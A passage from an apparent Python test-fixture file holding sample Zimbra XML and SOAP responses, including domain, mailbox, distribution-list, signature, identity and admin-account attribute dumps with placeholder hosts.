n=\"zimbraId\">b37d6b98-dc8c-474a-9243-f5dfc3ecf6ac</a>\n <a n=\"zimbraAdminConsoleCatchAllAddressEnabled\">FALSE</a>\n <a n=\"zimbraGalMaxResults\">100</a>\n <a n=\"zimbraDomainAggregateQuotaWarnPercent\">80</a>\n <a n=\"zimbraAutoProvNotificationBody\">Your account has been auto provisioned. Your email address is ${ACCOUNT_ADDRESS}.</a>\n <a n=\"zimbraGalGroupIndicatorEnabled\">TRUE</a>\n <a n=\"zimbraDomainMandatoryMailSignatureEnabled\">FALSE</a>\n <a n=\"zimbraGalSyncMaxConcurrentClients\">2</a>\n <a n=\"zimbraReverseProxyClientCertMode\">off</a>\n <a n=\"zimbraCreateTimestamp\">20130910123204Z</a>\n <a n=\"zimbraLdapGalSyncDisabled\">FALSE</a>\n <a n=\"dc\">client1</a>\n <a n=\"zimbraGalInternalSearchBase\">DOMAIN</a>\n <a n=\"zimbraGalLdapValueMap\">zimbraAccountCalendarUserType: Room|Equipment RESOURCE</a>\n <a n=\"zimbraGalLdapValueMap\">zimbraCalResType: Room Location</a>\n <a n=\"zimbraExternalShareInvitationUrlExpiration\">0</a>\n <a n=\"objectClass\">dcObject</a>\n <a n=\"objectClass\">organization</a>\n <a n=\"objectClass\">zimbraDomain</a>\n <a n=\"objectClass\">amavisAccount</a>\n <a n=\"zimbraFreebusyExchangeCachedIntervalStart\">7d</a>\n <a n=\"zimbraDomainAggregateQuotaPolicy\">ALLOWSENDRECEIVE</a>\n <a n=\"zimbraDomainName\">client1.unbound.example.com</a>\n <a n=\"zimbraDomainStatus\">active</a>\n <a n=\"zimbraDomainType\">local</a>\n <a n=\"zimbraAdminConsoleLDAPAuthEnabled\">FALSE</a>\n <a n=\"zimbraGalLdapAttrMap\">(binary) userSMIMECertificate=userSMIMECertificate</a>\n <a n=\"zimbraGalLdapAttrMap\">(certificate) userCertificate=userCertificate</a>\n </demain>\"\"\"\n\nSIMPLE_DOMAIN=\"\"\"<domain id=\"b37d6b98-dc8c-474a-9243-f5dfc3ecf6ac\" name=\"client1.unbound.example.com\">\n\t\t\t\t<a n=\"zimbraGalLdapPageSize\">1000</a>\n\t\t\t\t<a n=\"zimbraAggregateQuotaLastUsage\">401</a>\n\t\t\t\t<a n=\"zimbraInternalSharingCrossDomainEnabled\">TRUE</a>\n\t\t\t\t<a n=\"zimbraMailStatus\">enabled</a>\n\t\t\t\t<a n=\"zimbraGalSyncTimestampFormat\">yyyyMMddHHmmss'Z'</a>\n\t\t\t\t<a n=\"zimbraGalSyncLdapPageSize\">1000</a>\n\t\t\t\t<a n=\"zimbraZimletDataSensitiveInMixedModeDisabled\">TRUE</a>\n\t\t\t\t<a n=\"zimbraId\">b37d6b98-dc8c-474a-9243-f5dfc3ecf6ac</a>\n\t\t\t\t<a n=\"zimbraAdminConsoleCatchAllAddressEnabled\">FALSE</a>\n\t\t\t\t<a n=\"zimbraGalMaxResults\">100</a>\n\t\t\t\t<a n=\"zimbraMailSSLClientCertPrincipalMap\">SUBJECT_EMAILADDRESS=name</a>\n\t\t\t\t<a n=\"zimbraDomainAggregateQuotaWarnPercent\">80</a>\n\t\t\t\t<a n=\"zimbraAutoProvNotificationBody\">Your account has been auto provisioned. Your email address is ${ACCOUNT_ADDRESS}.</a>\n\t\t\t\t<a n=\"zimbraGalGroupIndicatorEnabled\">TRUE</a>\n\t\t\t\t<a n=\"zimbraDomainMandatoryMailSignatureEnabled\">FALSE</a>\n\t\t\t\t<a n=\"zimbraGalSyncMaxConcurrentClients\">2</a>\n\t\t\t\t<a n=\"zimbraReverseProxyClientCertMode\">off</a>\n\t\t\t\t<a n=\"zimbraCreateTimestamp\">20130910123204Z</a>\n\t\t\t\t<a n=\"zimbraLdapGalSyncDisabled\">FALSE</a>\n\t\t\t\t<a n=\"dc\">client1</a>\n\t\t\t\t<a n=\"zimbraGalInternalSearchBase\">DOMAIN</a>\n\t\t\t\t<a n=\"zimbraGalLdapValueMap\">zimbraAccountCalendarUserType: Room|Equipment RESOURCE</a>\n\t\t\t\t<a n=\"zimbraGalLdapValueMap\">zimbraCalResType: Room Location</a>\n\t\t\t\t<a n=\"zimbraExternalShareInvitationUrlExpiration\">0</a>\n\t\t\t\t<a n=\"objectClass\">dcObject</a>\n\t\t\t\t<a n=\"objectClass\">organization</a>\n\t\t\t\t<a n=\"objectClass\">zimbraDomain</a>\n\t\t\t\t<a n=\"objectClass\">amavisAccount</a>\n\t\t\t\t<a n=\"zimbraFreebusyExchangeCachedIntervalStart\">7d</a>\n\t\t\t\t<a n=\"zimbraDomainAggregateQuotaPolicy\">ALLOWSENDRECEIVE</a>\n\t\t\t\t<a n=\"zimbraDomainName\">client1.unbound.example.com</a>\n\t\t\t\t<a n=\"zimbraDomainStatus\">active</a>\n\t\t\t\t<a n=\"zimbraDomainType\">local</a>\n\t\t\t\t<a n=\"zimbraAdminConsoleLDAPAuthEnabled\">FALSE</a>\n\t\t\t\t<a n=\"zimbraGalLdapAttrMap\">(binary) userSMIMECertificate=userSMIMECertificate</a>\n\t\t\t\t<a n=\"zimbraGalLdapAttrMap\">(certificate) userCertificate=userCertificate</a>\n\t\t\t\t<a n=\"zimbraGalLdapAttrMap\">co=workCountry</a>\n\t\t\t\t<a n=\"zimbraGalLdapAttrMap\">company=company</a>\n\t\t\t\t<a n=\"zimbraGalLdapAttrMap\">description=notes</a>\n\t\t\t\t<a n=\"zimbraGalLdapAttrMap\">displayName,cn=fullName,fullName2,fullName3,fullName4,fullName5,fullName6,fullName7,fullName8,fullName9,fullName10</a>\n\t\t\t\t<a n=\"zimbraGalLdapAttrMap\">facsimileTelephoneNumber,fax=workFax</a>\n\t\t\t\t<a n=\"zimbraGalLdapAttrMap\">givenName,gn=firstName</a>\n\t\t\t\t<a n=\"zimbraGalLdapAttrMap\">homeTelephoneNumber,homePhone=homePhone</a>\n\t\t\t\t<a n=\"zimbraGalLdapAttrMap\">initials=initials</a>\n\t\t\t\t<a n=\"zimbraGalLdapAttrMap\">l=workCity</a>\n\t\t\t\t<a n=\"zimbraGalLdapAttrMap\">mobileTelephoneNumber,mobile=mobilePhone</a>\n\t\t\t\t<a n=\"zimbraGalLdapAttrMap\">msExchResourceSearchProperties=zimbraAccountCalendarUserType</a>\n\t\t\t\t<a n=\"zimbraGalLdapAttrMap\">objectClass=objectClass</a>\n\t\t\t\t<a n=\"zimbraGalLdapAttrMap\">ou=department</a>\n\t\t\t\t<a n=\"zimbraGalLdapAttrMap\">pagerTelephoneNumber,pager=pager</a>\n\t\t\t\t<a n=\"zimbraGalLdapAttrMap\">physicalDeliveryOfficeName=office</a>\n\t\t\t\t<a n=\"zimbraGalLdapAttrMap\">postalCode=workPostalCode</a>\n\t\t\t\t<a n=\"zimbraGalLdapAttrMap\">sn=lastName</a>\n\t\t\t\t<a n=\"zimbraGalLdapAttrMap\">st=workState</a>\n\t\t\t\t<a n=\"zimbraGalLdapAttrMap\">street,streetAddress=workStreet</a>\n\t\t\t\t<a n=\"zimbraGalLdapAttrMap\">telephoneNumber=workPhone</a>\n\t\t\t\t<a n=\"zimbraGalLdapAttrMap\">title=jobTitle</a>\n\t\t\t\t<a n=\"zimbraGalLdapAttrMap\">whenChanged,modifyTimeStamp=modifyTimeStamp</a>\n\t\t\t\t<a n=\"zimbraGalLdapAttrMap\">whenCreated,createTimeStamp=createTimeStamp</a>\n\t\t\t\t<a n=\"zimbraGalLdapAttrMap\">zimbraCalResBuilding=zimbraCalResBuilding</a>\n\t\t\t\t<a n=\"zimbraGalLdapAttrMap\">zimbraCalResCapacity,msExchResourceCapacity=zimbraCalResCapacity</a>\n\t\t\t\t<a n=\"zimbraGalLdapAttrMap\">zimbraCalResContactEmail=zimbraCalResContactEmail</a>\n\t\t\t\t<a n=\"zimbraGalLdapAttrMap\">zimbraCalResFloor=zimbraCalResFloor</a>\n\t\t\t\t<a n=\"zimbraGalLdapAttrMap\">zimbraCalResLocationDisplayName=zimbraCalResLocationDisplayName</a>\n\t\t\t\t<a n=\"zimbraGalLdapAttrMap\">zimbraCalResSite=zimbraCalResSite</a>\n\t\t\t\t<a n=\"zimbraGalLdapAttrMap\">zimbraCalResType,msExchResourceSearchProperties=zimbraCalResType</a>\n\t\t\t\t<a n=\"zimbraGalLdapAttrMap\">zimbraDistributionListSubscriptionPolicy=zimbraDistributionListSubscriptionPolicy</a>\n\t\t\t\t<a n=\"zimbraGalLdapAttrMap\">zimbraDistributionListUnsubscriptionPolicy=zimbraDistributionListUnsubscriptionPolicy</a>\n\t\t\t\t<a n=\"zimbraGalLdapAttrMap\">zimbraId=zimbraId</a>\n\t\t\t\t<a n=\"zimbraGalLdapAttrMap\">zimbraMailDeliveryAddress,zimbraMailAlias,mail=email,email2,email3,email4,email5,email6,email7,email8,email9,email10,email11,email12,email13,email14,email15,email16</a>\n\t\t\t\t<a n=\"zimbraGalLdapAttrMap\">zimbraMailForwardingAddress=member</a>\n\t\t\t\t<a n=\"zimbraGalLdapAttrMap\">zimbraPhoneticCompany,ms-DS-Phonetic-Company-Name=phoneticCompany</a>\n\t\t\t\t<a n=\"zimbraGalLdapAttrMap\">zimbraPhoneticFirstName,ms-DS-Phonetic-First-Name=phoneticFirstName</a>\n\t\t\t\t<a n=\"zimbraGalLdapAttrMap\">zimbraPhoneticLastName,ms-DS-Phonetic-Last-Name=phoneticLastName</a>\n\t\t\t\t<a n=\"zimbraWebClientMaxInputBufferLength\">1024</a>\n\t\t\t\t<a n=\"zimbraGalMode\">zimbra</a>\n\t\t\t\t<a n=\"zimbraSkinLogoURL\">http://www.zimbra.com</a>\n\t\t\t\t<a n=\"zimbraMailDomainQuota\">0</a>\n\t\t\t\t<a n=\"zimbraGalAlwaysIncludeLocalCalendarResources\">FALSE</a>\n\t\t\t\t<a n=\"zimbraBasicAuthRealm\">Zimbra Client 1</a>\n\t\t\t\t<a n=\"zimbraGalAccountId\">ed868032-bd7f-40f5-a87e-ddf67c835682</a>\n\t\t\t\t<a n=\"zimbraAdminConsoleDNSCheckEnabled\">FALSE</a>\n\t\t\t\t<a n=\"zimbraAuthMech\">zimbra</a>\n\t\t\t\t<a n=\"zimbraFreebusyExchangeCachedInterval\">60d</a>\n\t\t\t\t<a n=\"zimbraGalTokenizeAutoCompleteKey\">and</a>\n\t\t\t\t<a n=\"zimbraDomainAggregateQuota\">0</a>\n\t\t\t\t<a n=\"zimbraAutoProvNotificationSubject\">New account auto provisioned</a>\n\t\t\t\t<a n=\"zimbraGalAutoCompleteLdapFilter\">externalLdapAutoComplete</a>\n\t\t\t\t<a n=\"zimbraMobileMetadataMaxSizeEnabled\">FALSE</a>\n\t\t\t\t<a n=\"zimbraAdminConsoleSkinEnabled\">FALSE</a>\n\t\t\t\t<a n=\"o\">client1.unbound.example.com domain</a>\n\t\t\t\t<a n=\"zimbraGalTokenizeSearchKey\">and</a>\n\t\t\t\t<a n=\"zimbraFileUploadMaxSizePerFile\">2147483648</a>\n\t\t\t\t<a n=\"zimbraGalDefinitionLastModifiedTime\">20130910123204Z</a>\n\t\t\t\t<a n=\"zimbraFreebusyExchangeServerType\">webdav</a>\n\t\t\t\t<a n=\"zimbraAutoProvBatchSize\">20</a>\n\t\t\t</domain>\n\n\"\"\"\n\nMBOX = \"\"\"<mbox accountId=\"d78fd9c9-f000-440b-bce6-ea938d40fa2d\" changeCheckPoint=\"4000\" contactCount=\"0\" groupId=\"6\" id=\"6\" indexVolumeId=\"2\" itemIdCheckPoint=\"256\" lastSoapAccess=\"0\" newMessages=\"0\" sizeCheckPoint=\"0\" trackingImap=\"0\" trackingSync=\"0\"/>\"\"\"\n\nDISTRIBUTION_LIST = \"\"\"\n<dl dynamic=\"0\" id=\"4d97616d-53fd-4744-8535-64e6a0776df1\" name=\"<EMAIL>\">\n\t<a n=\"uid\">newlist</a>\n\t<a n=\"mail\"><EMAIL></a>\n\t<a n=\"zimbraMailStatus\">enabled</a>\n\t<a n=\"zimbraMailHost\">zimbratest.example.com</a>\n\t<a n=\"zimbraId\">4d97616d-53fd-4744-8535-64e6a0776df1</a>\n\t<a n=\"zimbraCreateTimestamp\">20130924150950Z</a>\n\t<a n=\"objectClass\">zimbraDistributionList</a>\n\t<a n=\"objectClass\">zimbraMailRecipient</a>\n\t<a n=\"zimbraMailAlias\"><EMAIL></a>\n</dl>\n\n\"\"\"\nXML_MULTIPLE_RESPONSE_TAGS = \"\"\"\n<soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n <soap:Header>\n </soap:Header>\n <soap:Body>\n<GetAllDomainsResponse xmlns=\"urn:zimbraAdmin\">\n <ResponseElement1>plif</ResponseElement1>\n <ResponseElement2>plouf</ResponseElement2>\n</GetAllDomainsResponse>\n </soap:Body>\n</soap:Envelope>\n\"\"\"\n\nXML_EMPTY_RESPONSE_TAGS = \"\"\"\n<soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n <soap:Header>\n </soap:Header>\n <soap:Body>\n<GetAllDomainsResponse xmlns=\"urn:zimbraAdmin\">\n</GetAllDomainsResponse>\n </soap:Body>\n</soap:Envelope>\n\n\"\"\"\n\nSIGNATURE=\"\"\"\n<signature id=\"a86c8118-2828-44d3-bd12-938892b3dcf4\" name=\"unittest1\">\n <content type=\"text/html\">CONTENT</content>\n</signature>\n\"\"\"\n\nIDENTITY=\"\"\"\n<identity id=\"6baba381-86b3-48e6-a5bb-88fc29bdbc64\" name=\"DEFAULT\">\n <a name=\"zimbraPrefIdentityId\">6baba381-86b3-48e6-a5bb-88fc29bdbc64</a>\n <a name=\"zimbraPrefSaveToSent\">TRUE</a>\n <a name=\"zimbraPrefForwardReplyPrefixChar\">&gt;</a>\n <a name=\"zimbraPrefSentMailFolder\">sent</a>\n <a name=\"zimbraPrefForwardReplySignatureId\">3560b35a-bea8-410e-9632-74eff288fc37</a>\n <a name=\"zimbraPrefForwardIncludeOriginalText\">includeBody</a>\n <a name=\"zimbraPrefForwardReplyFormat\">same</a>\n <a name=\"zimbraPrefMailSignatureStyle\">outlook</a>\n <a name=\"zimbraPrefIdentityName\">DEFAULT</a>\n <a name=\"zimbraPrefWhenInFoldersEnabled\">FALSE</a>\n <a name=\"zimbraPrefReplyToEnabled\">FALSE</a>\n <a name=\"zimbraPrefReplyIncludeOriginalText\">includeBody</a>\n <a name=\"zimbraPrefMailSignature\">glglou</a>\n <a name=\"zimbraPrefFromAddress\"><EMAIL></a>\n <a name=\"zimbraPrefDefaultSignatureId\">3560b35a-bea8-410e-9632-74eff288fc37</a>\n <a name=\"zimbraPrefWhenSentToEnabled\">FALSE</a>\n</identity>\n\"\"\"\n\nADMIN_ACCOUNT=\"\"\"\n<account id=\"<KEY>\" name=\"<EMAIL>\">\n <a n=\"zimbraMobilePolicyAllowUnsignedApplications\">1</a>\n <a n=\"zimbraPrefMailFlashTitle\">FALSE</a>\n <a n=\"zimbraIsAdminAccount\">TRUE</a>\n <a n=\"zimbraMailForwardingAddressMaxNumAddrs\">100</a>\n <a n=\"zimbraMailStatus\">enabled</a>\n <a n=\"zimbraFeatureConversationsEnabled\">TRUE</a>\n <a n=\"zimbraPrefCalendarReminderYMessenger\">FALSE</a>\n <a n=\"zimbraMobilePolicyDevicePasswordHistory\">8</a>\n <a n=\"zimbraMobilePolicyAllowSMIMESoftCerts\">1</a>\n <a n=\"zimbraPrefDeleteInviteOnReply\">TRUE</a>\n <a n=\"zimbraAllowAnyFromAddress\">FALSE</a>\n <a n=\"zimbraMobilePolicyRequireManualSyncWhenRoaming\">0</a>\n <a n=\"zimbraPasswordLockoutMaxFailures\">10</a>\n <a n=\"zimbraPrefShortEmailAddress\">TRUE</a>\n <a n=\"zimbraMobileSmartForwardRFC822Enabled\">FALSE</a>\n <a n=\"zimbraPrefForwardIncludeOriginalText\">includeBody</a>\n <a n=\"zimbraContactAutoCompleteEmailFields\">email,email2,email3,workEmail1,workEmail2,workEmail3</a>\n <a n=\"zimbraPrefShowFragments\">TRUE</a>\n <a n=\"zimbraMobilePolicyMaxInactivityTimeDeviceLock\">15</a>\n <a n=\"zimbraPrefHtmlEditorDefaultFontFamily\">times new roman, new york, times, serif</a>\n <a n=\"zimbraAdminConsoleUIComponents\">cartBlancheUI</a>\n <a n=\"zimbraMobilePolicyAllowIrDA\">1</a>\n <a n=\"zimbraPasswordMinAlphaChars\">0</a>\n <a n=\"zimbraMobilePolicyRequireEncryptedSMIMEMessages\">0</a>\n <a n=\"zimbraFeatureExternalFeedbackEnabled\">FALSE</a>\n <a n=\"zimbraPrefComposeFormat\">text</a>\n <a n=\"zimbraFeatureMailForwardingEnabled\">TRUE</a>\n <a n=\"zimbraCalendarCalDavSharedFolderCacheDuration\">1m</a>\n <a n=\"zimbraPrefCalendarReminderSendEmail\">FALSE</a>\n <a n=\"zimbraPrefContactsInitialView\">list</a>\n <a n=\"zimbraBatchedIndexingSize\">20</a>\n <a n=\"zimbraDeviceLockWhenInactive\">FALSE</a>\n <a n=\"zimbraPrefAutocompleteAddressBubblesEnabled\">TRUE</a>\n <a n=\"zimbraFeatureMailPollingIntervalPreferenceEnabled\">TRUE</a>\n <a n=\"zimbraPrefCalendarReminderDuration1\">-PT15M</a>\n <a n=\"zimbraFeatureTaggingEnabled\">TRUE</a>\n <a n=\"zimbraPrefIMReportIdle\">TRUE</a>\n <a n=\"zimbraFeaturePortalEnabled\">FALSE</a>\n <a n=\"zimbraPrefCalendarDefaultApptDuration\">60m</a>\n <a n=\"zimbraMobilePolicyAllowBrowser\">1</a>\n <a n=\"zimbraPrefWarnOnExit\">TRUE</a>\n <a n=\"zimbraMobilePolicyDevicePasswordExpiration\">0</a>\n <a n=\"zimbraAttachmentsIndexingEnabled\">TRUE</a>\n <a n=\"zimbraPrefGetMailAction\">default</a>\n <a n=\"zimbraPrefOutOfOfficeCacheDuration\">7d</a>\n <a n=\"zimbraExternalShareDomainWhitelistEnabled\">FALSE</a>\n <a n=\"zimbraPrefConversationOrder\">dateDesc</a>\n <a n=\"zimbraPrefIMHideBlockedBuddies\">FALSE</a>\n <a n=\"zimbraFeatureZimbraAssistantEnabled\">TRUE</a>\n <a n=\"zimbraPrefShowCalendarWeek\">FALSE</a>\n <a n=\"zimbraPrefAccountTreeOpen\">TRUE</a>\n <a n=\"zimbraMailWhitelistMaxNumEntries\">100</a>\n <a n=\"zimbraPrefIncludeTrashInSearch\">FALSE</a>\n <a n=\"zimbraMailHost\">zimbratest.example.com</a>\n <a n=\"zimbraMobilePolicyMinDevicePasswordLength\">4</a>\n <a n=\"zimbraFeatureSharingEnabled\">TRUE</a>\n <a n=\"zimbraPrefGalSearchEnabled\">TRUE</a>\n <a n=\"zimbraPrefIMHideOfflineBuddies\">FALSE</a>\n <a n=\"description\">Administrative Account</a>\n <a n=\"zimbraPublicShareLifetime\">0</a>\n <a n=\"zimbraQuotaWarnPercent\">90</a>\n <a n=\"zimbraDumpsterUserVisibleAge\">30d</a>\n <a n=\"zimbraPrefConvShowCalendar\">FALSE</a>\n <a n=\"zimbraFeatureGroupCalendarEnabled\">TRUE</a>\n <a n=\"zimbraMobilePolicyAllowStorageCard\">1</a>\n <a n=\"zimbraFeatureMailPriorityEnabled\">TRUE</a>\n <a n=\"zimbraPrefFolderTreeOpen\">TRUE</a>\n <a n=\"zimbraGalSyncAccountBasedAutoCompleteEnabled\">TRUE</a>\n <a n=\"zimbraFeatureHtmlComposeEnabled\">TRUE</a>\n <a n=\"zimbraPrefCalendarDayHourStart\">8</a>\n <a n=\"cn\">admin</a>\n <a n=\"zimbraFilePublicShareLifetime\">0</a>\n <a n=\"zimbraNewMailNotificationFrom\">Postmaster &lt;postmaster@${RECIPIENT_DOMAIN}&gt;</a>\n <a n=\"zimbraSpamApplyUserFilters\">FALSE</a>\n <a n=\"zimbraMobilePolicyAllowConsumerEmail\">1</a>\n <a n=\"zimbraDataSourceCalendarPollingInterval\">12h</a>\n <a n=\"zimbraPrefSaveToSent\">TRUE</a>\n <a n=\"zimbraFreebusyLocalMailboxNotActive\">FALSE</a>\n <a n=\"zimbraFeatureVoiceUpsellEnabled\">FALSE</a>\n <a n=\"zimbraDataSourceImportOnLogin\">FALSE</a>\n <a n=\"zimbraPrefIMLogChatsEnabled\">TRUE</a>\n <a n=\"zimbraSmtpRestrictEnvelopeFrom\">TRUE</a>\n <a n=\"zimbraFeatureManageSMIMECertificateEnabled\">FALSE</a>\n <a n=\"zimbraFeatureSavedSearchesEnabled\">TRUE</a>\n <a n=\"zimbraCalendarKeepExceptionsOnSeriesTimeChange\">FALSE</a>\n <a n=\"zimbraMobilePolicyPasswordRecoveryEnabled\">TRUE</a>\n <a n=\"mail\"><EMAIL></a>\n <a n=\"mail\"><EMAIL></a>\n <a n=\"mail\"><EMAIL></a>\n <a n=\"zimbraPrefCalendarNotifyDelegatedChanges\">FALSE</a>\n <a n=\"zimbraImapEnabled\">TRUE</a>\n <a n=\"zimbraContactMaxNumEntries\">10000</a>\n <a n=\"zimbraPrefMailSignatureStyle\">outlook</a>\n <a n=\"zimbraFeatureFiltersEnabled\">TRUE</a>\n <a n=\"zimbraNewMailNotificationBody\">New message received at ${RECIPIENT_ADDRESS}.${NEWLINE}Sender: ${SENDER_ADDRESS}${NEWLINE}Subject: ${SUBJECT}</a>\n <a n=\"zimbraFeatureBriefcaseSlidesEnabled\">FALSE</a>\n <a n=\"zimbraFeatureWebSearchEnabled\">TRUE</a>\n <a n=\"zimbraPrefMessageViewHtmlPreferred\">TRUE</a>\n <a n=\"zimbraMailTrustedSenderListMaxNumEntries\">500</a>\n <a n=\"zimbraPrefCalendarViewTimeInterval\">1h</a>\n <a n=\"zimbraMobilePolicyAllowInternetSharing\">1</a>\n <a n=\"zimbraPrefGroupMailBy\">conversation</a>\n <a n=\"zimbraPasswordMinUpperCaseChars\">0</a>\n <a n=\"zimbraPrefContactsExpandAppleContactGroups\">FALSE</a>\n <a n=\"zimbraFeatureContactsEnabled\">TRUE</a>\n <a n=\"zimbraExternalSharingEnabled\">TRUE</a>\n <a n=\"zimbraPrefImapSearchFoldersEnabled\">TRUE</a>\n <a n=\"objectClass\">inetOrgPerson</a>\n <a n=\"objectClass\">zimbraAccount</a>\n <a n=\"objectClass\">amavisAccount</a>\n <a n=\"zimbraPrefContactsDisableAutocompleteOnContactGroupMembers\">FALSE</a>\n <a n=\"zimbraFreebusyExchangeCachedIntervalStart\">7d</a>\n <a n=\"zimbraMailTransport\">lmtp:zimbratest.example.com:7025</a>\n <a n=\"zimbraFileAndroidCrashReportingEnabled\">TRUE</a>\n <a n=\"zimbraPrefVoiceItemsPerPage\">25</a>\n <a n=\"zimbraPrefIncludeSharedItemsInSearch\">FALSE</a>\n <a n=\"zimbraAdminAuthTokenLifetime\">12h</a>\n <a n=\"zimbraMailAllowReceiveButNotSendWhenOverQuota\">FALSE</a>\n <a n=\"zimbraMailPurgeUseChangeDateForSpam\">TRUE</a>\n <a n=\"zimbraMobilePolicyAllowWiFi\">1</a>\n <a n=\"zimbraMobilePolicyAllowPartialProvisioning\">TRUE</a>\n <a n=\"zimbraStandardClientCustomPrefTabsEnabled\">FALSE</a>\n <a n=\"zimbraMailSpamLifetime\">30d</a>\n <a n=\"zimbraPrefIMNotifyPresence\">TRUE</a>\n <a n=\"zimbraMobilePolicyAllowPOPIMAPEmail\">1</a>\n <a n=\"zimbraPrefOpenMailInNewWindow\">FALSE</a>\n <a n=\"zimbraPrefHtmlEditorDefaultFontColor\">#000000</a>\n <a n=\"zimbraMobileMetadataMaxSizeEnabled\">FALSE</a>\n <a n=\"zimbraDeviceFileOpenWithEnabled\">TRUE</a>\n <a n=\"zimbraMobilePolicyAllowBluetooth\">2</a>\n <a n=\"zimbraPrefTimeZoneId\">Europe/Berlin</a>\n <a n=\"zimbraPrefReadingPaneLocation\">right</a>\n <a n=\"zimbraPrefStandardClientAccessibilityMode\">FALSE</a>\n <a n=\"zimbraMailIdleSessionTimeout\">0</a>\n <a n=\"zimbraPrefMailFlashIcon\">FALSE</a>\n <a n=\"zimbraFileShareLifetime\">0</a>\n <a n=\"zimbraPrefMailToasterEnabled\">FALSE</a>\n <a n=\"zimbraFeaturePop3DataSourceEnabled\">TRUE</a>\n <a n=\"zimbraPasswordMinDigitsOrPuncs\">0</a>\n <a n=\"zimbraPasswordMinAge\">0</a>\n <a n=\"zimbraShareLifetime\">0</a>\n <a n=\"zimbraMaxVoiceItemsPerPage\">100</a>\n <a n=\"zimbraMailBlacklistMaxNumEntries\">100</a>\n <a n=\"zimbraPrefTagTreeOpen\">TRUE</a>\n <a n=\"zimbraFeatureSocialcastEnabled\">FALSE</a>\n <a n=\"zimbraMobilePolicyAllowNonProvisionableDevices\">TRUE</a>\n <a n=\"zimbraFeatureConfirmationPageEnabled\">FALSE</a>\n <a n=\"zimbraFeatureGalSyncEnabled\">TRUE</a>\n <a n=\"zimbraPrefMailSoundsEnabled\">FALSE</a>\n <a n=\"zimbraFeatureTasksEnabled\">TRUE</a>\n <a n=\"zimbraFeatureGalAutoCompleteEnabled\">TRUE</a>\n <a n=\"zimbraCreateTimestamp\">20131104090245Z</a>\n <a n=\"zimbraMobilePolicyAlphanumericDevicePasswordRequired\">FALSE</a>\n <a n=\"zimbraQuotaWarnMessage\">From: Postmaster &lt;postmaster@${RECIPIENT_DOMAIN}&gt;${NEWLINE}To: ${RECIPIENT_NAME} &lt;${RECIPIENT_ADDRESS}&gt;${NEWLINE}Subject: Quota warning${NEWLINE}Date: ${DATE}${NEWLINE}Content-Type: text/plain${NEWLINE}${NEWLINE}Your mailbox size has reached ${MBOX_SIZE_MB}MB, which is over ${WARN_PERCENT}% of your ${QUOTA_MB}MB quota.${NEWLINE}Please delete some messages to avoid exceeding your quota.${NEWLINE}</a>\n <a n=\"zimbraFeatureShortcutAliasesEnabled\">TRUE</a>\n <a n=\"zimbraFeatureCalendarUpsellEnabled\">FALSE</a>\n <a n=\"zimbraFileIOSCrashReportingEnabled\">TRUE</a>\n <a n=\"zimbraFeatureMailSendLaterEnabled\">FALSE</a>\n <a n=\"zimbraFeatureFromDisplayEnabled\">TRUE</a>\n <a n=\"zimbraPrefBriefcaseReadingPaneLocation\">right</a>\n <a n=\"zimbraFeatureImapDataSourceEnabled\">TRUE</a>\n <a n=\"zimbraPasswordLockoutDuration\">1h</a>\n <a n=\"zimbraMobilePolicyRefreshInterval\">1440</a>\n <a n=\"zimbraPasswordMinPunctuationChars\">0</a>\n <a n=\"zimbraMobilePolicyMaxCalendarAgeFilter\">4</a>\n <a n=\"zimbraFeatureDistributionListFolderEnabled\">TRUE</a>\n <a n=\"zimbraPrefMarkMsgRead\">0</a>\n <a n=\"zimbraMobilePolicyAllowCamera\">1</a>\n <a n=\"zimbraDataSourceMaxNumEntries\">20</a>\n <a n=\"zimbraFeatureImportFolderEnabled\">TRUE</a>\n <a n=\"zimbraDevicePasscodeEnabled\">FALSE</a>\n <a n=\"zimbraIMService\">zimbra</a>\n <a n=\"zimbraContactRankingTableSize\">200</a>\n <a n=\"zimbraFeaturePriorityInboxEnabled\">TRUE</a>\n <a n=\"zimbraPrefSkin\">serenity</a>\n <a n=\"zimbraAccountStatus\">active</a>\n <a n=\"zimbraPasswordLockoutFailureLifetime\">1h</a>\n <a n=\"zimbraDeviceOfflineCacheEnabled\">FALSE</a>\n <a n=\"zimbraPrefMessageIdDedupingEnabled\">TRUE</a>\n <a n=\"zimbraNewMailNotificationSubject\">New message received at ${RECIPIENT_ADDRESS}</a>\n <a n=\"zimbraPrefIMNotifyStatus\">TRUE</a>\n <a n=\"zimbraPrefMailPollingInterval\">5m</a>\n <a n=\"zimbraPrefDisplayExternalImages\">FALSE</a>\n <a n=\"zimbraPrefShowComposeDirection\">FALSE</a>\n <a n=\"zimbraPrefCalendarWorkingHours\">1:N:0800:1700,2:Y:0800:1700,3:Y:0800:1700,4:Y:0800:1700,5:Y:0800:1700,6:Y:0800:1700,7:N:0800:1700</a>\n <a n=\"zimbraPrefTasksReadingPaneLocation\">right</a>\n <a n=\"zimbraMailDeliveryAddress\"><EMAIL></a>\n <a n=\"zimbraPrefCalendarShowPastDueReminders\">TRUE</a>\n <a n=\"zimbraMailAlias\"><EMAIL></a>\n <a n=\"zimbraMailAlias\"><EMAIL></a>\n <a n=\"zimbraMobilePolicyMinDevicePasswordComplexCharacters\">0</a>\n <a n=\"zimbraSignatureMinNumEntries\">1</a>\n <a n=\"zimbraPasswordEnforceHistory\">0</a>\n <a n=\"zimbraPrefIMFlashIcon\">TRUE</a>\n <a n=\"zimbraFeatureSkinChangeEnabled\">TRUE</a>\n <a n=\"zimbraFeatureNotebookEnabled\">FALSE</a>\n <a n=\"zimbraMobilePolicySuppressDeviceEncryption\">FALSE</a>\n <a n=\"zimbraSyncWindowSize\">0</a>\n <a n=\"zimbraPrefIMToasterEnabled\">FALSE</a>\n <a n=\"zimbraZimletAvailableZimlets\">!com_zimbra_email</a>\n <a n=\"zimbraZimletAvailableZimlets\">!com_zimbra_url</a>\n <a n=\"zimbraZimletAvailableZimlets\">!com_zimbra_date</a>\n <a n=\"zimbraZimletAvailableZimlets\">+com_zimbra_webex</a>\n <a n=\"zimbraZimletAvailableZimlets\">+com_zimbra_ymemoticons</a>\n <a n=\"zimbraZimletAvailableZimlets\">+com_zimbra_srchhighlighter</a>\n <a n=\"zimbraZimletAvailableZimlets\">+com_zimbra_phone</a>\n <a n=\"zimbraZimletAvailableZimlets\">!com_zimbra_attachcontacts</a>\n <a n=\"zimbraZimletAvailableZimlets\">!com_zimbra_attachmail</a>\n <a n=\"zimbraPrefCalendarApptAllowAtendeeEdit\">TRUE</a>\n <a 